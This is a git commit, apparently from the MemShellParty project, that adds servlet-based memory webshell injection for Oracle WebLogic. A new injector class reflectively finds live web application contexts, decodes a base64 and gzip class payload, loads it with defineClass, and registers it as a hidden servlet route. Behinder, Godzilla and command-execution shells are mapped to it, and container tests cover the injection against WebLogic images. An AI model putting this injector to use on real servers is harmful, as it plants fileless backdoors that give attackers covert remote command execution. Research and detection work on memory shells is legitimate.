mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 07:51:52 +08:00
feat: support weblogic servlet (resolved #5)
This commit is contained in:
@@ -44,11 +44,11 @@
|
|||||||
| Listener | Listener | Filter | Filter |
|
| Listener | Listener | Filter | Filter |
|
||||||
| | | Listener | Listener |
|
| | | Listener | Listener |
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10 ~ 14) |
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|------------------|--------------------|
|
|------------------|-------------------------|
|
||||||
| Servlet | Filter |
|
| Servlet | Servlet |
|
||||||
| Filter | Listener |
|
| Filter | Filter |
|
||||||
| Listener | |
|
| Listener | Listener |
|
||||||
|
|
||||||
| 宝兰德 BES | 东方通 TongWeb | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS |
|
| 宝兰德 BES | 东方通 TongWeb | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS |
|
||||||
|---------|-------------|---------------------------|--------------|
|
|---------|-------------|---------------------------|--------------|
|
||||||
|
|||||||
@@ -2,13 +2,17 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||||
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
||||||
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
||||||
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -21,6 +25,7 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||||
return Map.of(
|
return Map.of(
|
||||||
|
Constants.SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
|
||||||
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
|
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
|
||||||
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
|
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
|
||||||
);
|
);
|
||||||
@@ -29,6 +34,7 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
return Map.of(
|
return Map.of(
|
||||||
|
Constants.SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
|
||||||
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
|
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
|
||||||
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
|
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
|
||||||
);
|
);
|
||||||
@@ -37,6 +43,7 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||||
return Map.of(
|
return Map.of(
|
||||||
|
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
|
||||||
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
|
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
|
||||||
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
|
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
weblogic1036:
|
||||||
|
image: reajason/weblogic:10.3.6
|
||||||
|
container_name: weblogic1036
|
||||||
|
ports:
|
||||||
|
- "7001:7001"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
|
||||||
+8
-6
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.config.ShellTool;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
@@ -36,6 +37,9 @@ public class WebLogic1036ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
|
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
@@ -45,12 +49,10 @@ public class WebLogic1036ContainerTest {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
// @AfterAll
|
@AfterAll
|
||||||
// static void tearDown() {
|
static void tearDown() {
|
||||||
// String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
// log.info(logs);
|
}
|
||||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
|
||||||
// }
|
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
|
|||||||
+3
-1
@@ -39,6 +39,9 @@ public class WebLogic12214ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
@@ -51,7 +54,6 @@ public class WebLogic12214ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
log.info(logs);
|
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+3
-1
@@ -39,6 +39,9 @@ public class WebLogic14110ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
@@ -51,7 +54,6 @@ public class WebLogic14110ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
log.info(logs);
|
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
-6
@@ -22,7 +22,6 @@ public class WebLogicFilterInjector {
|
|||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
@@ -153,9 +152,6 @@ public class WebLogicFilterInjector {
|
|||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* https://github.com/BeichenDream/GodzillaMemoryShellProject
|
|
||||||
*/
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
if (isInjected(context)) {
|
if (isInjected(context)) {
|
||||||
@@ -164,10 +160,8 @@ public class WebLogicFilterInjector {
|
|||||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
||||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
||||||
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
|
|
||||||
cachedClasses.put(getClassName(), filter.getClass());
|
cachedClasses.put(getClassName(), filter.getClass());
|
||||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||||
//将filter置为第一位
|
|
||||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||||
filterPatternList.add(0, currentMapping);
|
filterPatternList.add(0, currentMapping);
|
||||||
|
|||||||
+250
@@ -0,0 +1,250 @@
|
|||||||
|
package com.reajason.javaweb.memshell.weblogic.injector;
|
||||||
|
|
||||||
|
import javax.servlet.Servlet;
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class WebLogicServletInjector {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new WebLogicServletInjector();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public WebLogicServletInjector() {
|
||||||
|
try {
|
||||||
|
Object[] contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object servlet = getShell(context);
|
||||||
|
inject(context, servlet);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByMbean() throws Throwable {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||||
|
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||||
|
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||||
|
theOneMethod.setAccessible(true);
|
||||||
|
Object serverRuntime = theOneMethod.invoke(null);
|
||||||
|
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||||
|
getApplicationRuntimesMethod.setAccessible(true);
|
||||||
|
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||||
|
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||||
|
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||||
|
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||||
|
try {
|
||||||
|
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||||
|
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||||
|
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||||
|
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||||
|
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||||
|
for (Object componentRuntime : childrenSet) {
|
||||||
|
try {
|
||||||
|
Object context = getFieldValue(componentRuntime, "context");
|
||||||
|
if (webAppServletContextClass.isInstance(context)) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||||
|
int threadCount = threadGroup.activeCount();
|
||||||
|
Thread[] threads = new Thread[threadCount];
|
||||||
|
threadGroup.enumerate(threads);
|
||||||
|
for (int i = 0; i < threadCount; i++) {
|
||||||
|
Thread thread = threads[i];
|
||||||
|
if (thread != null) {
|
||||||
|
Object workEntry = getFieldValue(thread, "workEntry");
|
||||||
|
if (workEntry != null) {
|
||||||
|
try {
|
||||||
|
Object context = null;
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
if (connectionHandler != null) {
|
||||||
|
Object request = getFieldValue(connectionHandler, "request");
|
||||||
|
if (request != null) {
|
||||||
|
context = getFieldValue(request, "context");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
context = getFieldValue(workEntry, "context");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context != null) {
|
||||||
|
webappContexts.add(context);
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object[] getContext() {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
try {
|
||||||
|
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return webappContexts.toArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
Object obj;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
obj = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
obj = clazz.newInstance();
|
||||||
|
}
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* server/lib/weblogic.jar
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
*/
|
||||||
|
public void inject(Object context, Object servlet) throws Exception {
|
||||||
|
// weblogic.servlet.utils.URLMapping
|
||||||
|
Object servletMapping = invokeMethod(context, "getServletMapping", null, null);
|
||||||
|
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||||
|
Class<?> servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl");
|
||||||
|
Object servletStub = null;
|
||||||
|
Constructor<?> servletStubImplConstructor = null;
|
||||||
|
try {
|
||||||
|
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass);
|
||||||
|
servletStubImplConstructor.setAccessible(true);
|
||||||
|
servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
// 10.3.6
|
||||||
|
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class);
|
||||||
|
servletStubImplConstructor.setAccessible(true);
|
||||||
|
servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null);
|
||||||
|
}
|
||||||
|
Constructor<?> urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass);
|
||||||
|
urlMatchHelperConstructor.setAccessible(true);
|
||||||
|
Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub);
|
||||||
|
Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
if (mapping == null) {
|
||||||
|
invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
|
||||||
|
System.out.println("servlet inject successful");
|
||||||
|
} else {
|
||||||
|
System.out.println("servlet already injected");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
Method method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user